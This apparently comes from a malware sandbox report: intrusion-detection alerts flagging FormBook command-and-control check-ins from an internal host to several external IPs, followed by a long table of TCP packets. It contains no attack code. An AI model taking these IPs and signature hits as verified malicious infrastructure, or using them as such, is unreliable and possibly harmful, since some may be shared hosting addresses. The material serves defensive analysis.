2024-10-08T15:35:10.238944+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60837	199.192.19.19	80	TCP
2024-10-08T15:35:12.826861+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60838	199.192.19.19	80	TCP
2024-10-08T15:35:15.289129+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60839	199.192.19.19	80	TCP
2024-10-08T15:35:15.289129+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60839	199.192.19.19	80	TCP
2024-10-08T15:35:21.277375+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60840	208.91.197.27	80	TCP
2024-10-08T15:35:23.849037+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60841	208.91.197.27	80	TCP
2024-10-08T15:35:26.372438+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60842	208.91.197.27	80	TCP
2024-10-08T15:35:29.515917+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60843	208.91.197.27	80	TCP
2024-10-08T15:35:29.515917+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60843	208.91.197.27	80	TCP
2024-10-08T15:35:36.363602+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60844	156.242.132.82	80	TCP
2024-10-08T15:35:39.453234+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60845	156.242.132.82	80	TCP
2024-10-08T15:35:42.000108+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60846	156.242.132.82	80	TCP
2024-10-08T15:36:04.387734+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60847	156.242.132.82	80	TCP
2024-10-08T15:36:04.387734+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60847	156.242.132.82	80	TCP
2024-10-08T15:36:18.221807+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60848	84.32.84.32	80	TCP
2024-10-08T15:36:20.739145+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60849	84.32.84.32	80	TCP
2024-10-08T15:36:23.290927+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60850	84.32.84.32	80	TCP
2024-10-08T15:36:25.860953+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60851	84.32.84.32	80	TCP
2024-10-08T15:36:25.860953+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60851	84.32.84.32	80	TCP
2024-10-08T15:36:31.833598+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60852	3.91.127.116	80	TCP
2024-10-08T15:36:34.378358+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60853	3.91.127.116	80	TCP
2024-10-08T15:36:36.958949+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60854	3.91.127.116	80	TCP
2024-10-08T15:36:39.447772+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60855	3.91.127.116	80	TCP
2024-10-08T15:36:39.447772+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60855	3.91.127.116	80	TCP
2024-10-08T15:36:45.350125+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60856	195.161.68.8	80	TCP
2024-10-08T15:36:47.872321+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60857	195.161.68.8	80	TCP
2024-10-08T15:36:50.434708+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60858	195.161.68.8	80	TCP
2024-10-08T15:36:52.998866+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60859	195.161.68.8	80	TCP
2024-10-08T15:36:52.998866+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60859	195.161.68.8	80	TCP
2024-10-08T15:36:58.822777+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60860	194.58.112.174	80	TCP
2024-10-08T15:37:01.358985+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60861	194.58.112.174	80	TCP
2024-10-08T15:37:03.925498+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60862	194.58.112.174	80	TCP
2024-10-08T15:37:06.473050+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60863	194.58.112.174	80	TCP
2024-10-08T15:37:06.473050+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60863	194.58.112.174	80	TCP
2024-10-08T15:37:12.998557+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60864	15.197.204.56	80	TCP
2024-10-08T15:37:15.516621+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60865	15.197.204.56	80	TCP
2024-10-08T15:37:18.064555+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60866	15.197.204.56	80	TCP
2024-10-08T15:37:20.988426+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60867	15.197.204.56	80	TCP
2024-10-08T15:37:20.988426+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60867	15.197.204.56	80	TCP
2024-10-08T15:37:27.559782+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60868	154.23.184.240	80	TCP
2024-10-08T15:37:30.080815+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60869	154.23.184.240	80	TCP
2024-10-08T15:37:32.875337+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60870	154.23.184.240	80	TCP
2024-10-08T15:37:35.160910+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60871	154.23.184.240	80	TCP
2024-10-08T15:37:35.160910+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60871	154.23.184.240	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 15:33:36.216275930 CEST	60549	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:33:36.222327948 CEST	80	60549	3.33.130.190	192.168.2.9
Oct 8, 2024 15:33:36.222448111 CEST	60549	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:33:36.230236053 CEST	60549	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:33:36.235281944 CEST	80	60549	3.33.130.190	192.168.2.9
Oct 8, 2024 15:33:37.817831039 CEST	80	60549	3.33.130.190	192.168.2.9
Oct 8, 2024 15:33:37.817910910 CEST	80	60549	3.33.130.190	192.168.2.9
Oct 8, 2024 15:33:37.817923069 CEST	80	60549	3.33.130.190	192.168.2.9
Oct 8, 2024 15:33:37.818114042 CEST	60549	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:33:37.821636915 CEST	60549	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:33:37.827649117 CEST	80	60549	3.33.130.190	192.168.2.9
Oct 8, 2024 15:33:52.897890091 CEST	60551	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:52.903253078 CEST	80	60551	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:52.903402090 CEST	60551	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:52.914947987 CEST	60551	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:52.920305967 CEST	80	60551	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:53.420114040 CEST	80	60551	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:53.420178890 CEST	80	60551	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:53.420265913 CEST	60551	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:54.421956062 CEST	60551	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:55.440839052 CEST	60552	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:55.446353912 CEST	80	60552	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:55.446523905 CEST	60552	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:55.464616060 CEST	60552	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:55.469789982 CEST	80	60552	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:55.974159956 CEST	80	60552	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:55.974373102 CEST	80	60552	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:55.974520922 CEST	60552	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:56.968823910 CEST	60552	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:57.987437963 CEST	60559	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:57.993284941 CEST	80	60559	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:57.993416071 CEST	60559	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:58.003472090 CEST	60559	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:58.009254932 CEST	80	60559	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:58.009927034 CEST	80	60559	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:58.518306971 CEST	80	60559	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:58.518554926 CEST	80	60559	74.208.236.25	192.168.2.9
Oct 8, 2024 15:33:58.518621922 CEST	60559	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:33:59.515562057 CEST	60559	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:34:00.534940004 CEST	60575	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:34:00.888519049 CEST	80	60575	74.208.236.25	192.168.2.9
Oct 8, 2024 15:34:00.890789032 CEST	60575	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:34:00.898246050 CEST	60575	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:34:00.903448105 CEST	80	60575	74.208.236.25	192.168.2.9
Oct 8, 2024 15:34:01.419403076 CEST	80	60575	74.208.236.25	192.168.2.9
Oct 8, 2024 15:34:01.420407057 CEST	80	60575	74.208.236.25	192.168.2.9
Oct 8, 2024 15:34:01.420541048 CEST	60575	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:34:01.422384024 CEST	60575	80	192.168.2.9	74.208.236.25
Oct 8, 2024 15:34:01.427606106 CEST	80	60575	74.208.236.25	192.168.2.9
Oct 8, 2024 15:34:06.459428072 CEST	60611	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:06.464278936 CEST	80	60611	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:06.464428902 CEST	60611	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:06.474298000 CEST	60611	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:06.479410887 CEST	80	60611	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:07.984460115 CEST	60611	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:08.000591040 CEST	80	60611	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:08.000654936 CEST	60611	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:09.003706932 CEST	60627	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:09.010478020 CEST	80	60627	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:09.010601044 CEST	60627	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:09.021058083 CEST	60627	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:09.026278973 CEST	80	60627	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:10.398233891 CEST	80	60627	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:10.398319006 CEST	60627	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:10.534012079 CEST	60627	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:10.540570021 CEST	80	60627	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:11.550338030 CEST	60641	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:11.555488110 CEST	80	60641	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:11.555603981 CEST	60641	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:11.565047026 CEST	60641	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:11.570103884 CEST	80	60641	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:11.570441008 CEST	80	60641	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:12.054574966 CEST	80	60641	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:12.054677963 CEST	60641	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:13.079571009 CEST	60641	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:13.084527969 CEST	80	60641	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:14.097464085 CEST	60657	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:14.102715015 CEST	80	60657	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:14.102838039 CEST	60657	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:14.109869957 CEST	60657	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:14.114891052 CEST	80	60657	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:14.561187983 CEST	80	60657	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:14.561206102 CEST	80	60657	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:14.561340094 CEST	60657	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:14.563975096 CEST	60657	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:14.569063902 CEST	80	60657	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:19.605757952 CEST	60679	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:19.611465931 CEST	80	60679	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:19.611609936 CEST	60679	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:19.625890017 CEST	60679	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:19.631180048 CEST	80	60679	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:21.140669107 CEST	60679	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:21.146343946 CEST	80	60679	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:21.146471977 CEST	60679	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:22.159960985 CEST	60698	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:22.165713072 CEST	80	60698	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:22.165802956 CEST	60698	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:22.176304102 CEST	60698	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:22.181421041 CEST	80	60698	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:23.564466953 CEST	80	60698	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:23.564524889 CEST	60698	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:23.687494040 CEST	60698	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:23.692594051 CEST	80	60698	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:24.707370043 CEST	60715	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:24.712521076 CEST	80	60715	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:24.712611914 CEST	60715	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:24.727288008 CEST	60715	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:24.732328892 CEST	80	60715	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:24.732459068 CEST	80	60715	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:25.192147017 CEST	80	60715	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:25.192246914 CEST	60715	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:26.236241102 CEST	60715	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:26.241370916 CEST	80	60715	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:27.253767014 CEST	60728	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:27.258780956 CEST	80	60728	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:27.258896112 CEST	60728	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:27.265856981 CEST	60728	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:27.270946980 CEST	80	60728	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:28.650372028 CEST	80	60728	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:28.650906086 CEST	80	60728	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:28.651114941 CEST	60728	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:28.653213978 CEST	60728	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:28.658725977 CEST	80	60728	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:34.473763943 CEST	60775	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:34.478828907 CEST	80	60775	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:34.478902102 CEST	60775	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:34.490788937 CEST	60775	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:34.496001005 CEST	80	60775	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:36.000173092 CEST	60775	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:36.008111954 CEST	80	60775	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:36.008182049 CEST	60775	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:37.022981882 CEST	60788	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:37.029571056 CEST	80	60788	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:37.030164003 CEST	60788	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:37.040915012 CEST	60788	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:37.046407938 CEST	80	60788	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:38.444736958 CEST	80	60788	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:38.444752932 CEST	80	60788	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:38.444762945 CEST	80	60788	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:38.444808006 CEST	60788	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:38.444848061 CEST	80	60788	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:38.444858074 CEST	80	60788	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:38.444864035 CEST	80	60788	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:38.444875002 CEST	80	60788	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:38.444890022 CEST	60788	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:38.445036888 CEST	60788	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:38.445055962 CEST	80	60788	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:38.445092916 CEST	60788	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:38.445257902 CEST	80	60788	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:38.445301056 CEST	60788	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:38.546895981 CEST	60788	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:39.567007065 CEST	60807	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:39.572741985 CEST	80	60807	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:39.572896004 CEST	60807	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:39.583482981 CEST	60807	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:39.588329077 CEST	80	60807	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:39.588664055 CEST	80	60807	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:41.093786955 CEST	60807	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:41.099734068 CEST	80	60807	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:41.099836111 CEST	60807	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:42.112981081 CEST	60821	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:42.117849112 CEST	80	60821	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:42.117918968 CEST	60821	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:42.125914097 CEST	60821	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:42.131227970 CEST	80	60821	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:43.493650913 CEST	80	60821	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:43.504765987 CEST	80	60821	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:43.504908085 CEST	60821	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:43.507483006 CEST	80	60821	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:43.507602930 CEST	60821	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:43.508434057 CEST	60821	80	192.168.2.9	203.175.9.128
Oct 8, 2024 15:34:43.513505936 CEST	80	60821	203.175.9.128	192.168.2.9
Oct 8, 2024 15:34:48.535998106 CEST	60832	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:48.541851997 CEST	80	60832	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:48.541919947 CEST	60832	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:48.552954912 CEST	60832	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:48.557955980 CEST	80	60832	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:49.003735065 CEST	80	60832	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:49.003817081 CEST	60832	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:50.062616110 CEST	60832	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:50.068435907 CEST	80	60832	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:51.081362963 CEST	60833	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:51.086697102 CEST	80	60833	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:51.087054968 CEST	60833	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:51.098999977 CEST	60833	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:51.104417086 CEST	80	60833	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:51.547933102 CEST	80	60833	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:51.548044920 CEST	60833	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:52.609437943 CEST	60833	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:52.615778923 CEST	80	60833	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:53.628653049 CEST	60834	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:53.633785009 CEST	80	60834	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:53.634232998 CEST	60834	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:53.646997929 CEST	60834	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:53.652288914 CEST	80	60834	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:53.652735949 CEST	80	60834	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:54.114655018 CEST	80	60834	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:54.114725113 CEST	60834	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:55.158992052 CEST	60834	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:55.165589094 CEST	80	60834	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:56.200093031 CEST	60835	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:56.205110073 CEST	80	60835	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:56.205188990 CEST	60835	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:56.215729952 CEST	60835	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:56.220788002 CEST	80	60835	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:56.673837900 CEST	80	60835	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:56.673858881 CEST	80	60835	3.33.130.190	192.168.2.9
Oct 8, 2024 15:34:56.674010992 CEST	60835	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:56.677548885 CEST	60835	80	192.168.2.9	3.33.130.190
Oct 8, 2024 15:34:56.683031082 CEST	80	60835	3.33.130.190	192.168.2.9
Oct 8, 2024 15:35:06.746498108 CEST	60836	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:06.754183054 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:06.754260063 CEST	60836	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:06.768614054 CEST	60836	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:06.773730040 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.426352024 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.426424026 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.426476955 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.426517010 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.426551104 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.426584959 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.426621914 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.426654100 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.426656961 CEST	60836	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:07.426687956 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.426691055 CEST	60836	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:07.426719904 CEST	60836	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:07.426726103 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.429133892 CEST	60836	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:07.432147026 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.432209969 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.435101032 CEST	60836	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:07.514868975 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.515055895 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.515074015 CEST	80	60836	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:07.515211105 CEST	60836	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:08.281621933 CEST	60836	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:09.319717884 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:09.583911896 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:09.584122896 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:09.594202995 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:09.599601984 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.238828897 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.238892078 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.238926888 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.238944054 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:10.238961935 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.239012957 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.239044905 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.239048004 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:10.239078999 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.239087105 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:10.239109993 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.239140987 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.239151955 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:10.239176989 CEST	80	60837	199.192.19.19	192.168.2.9
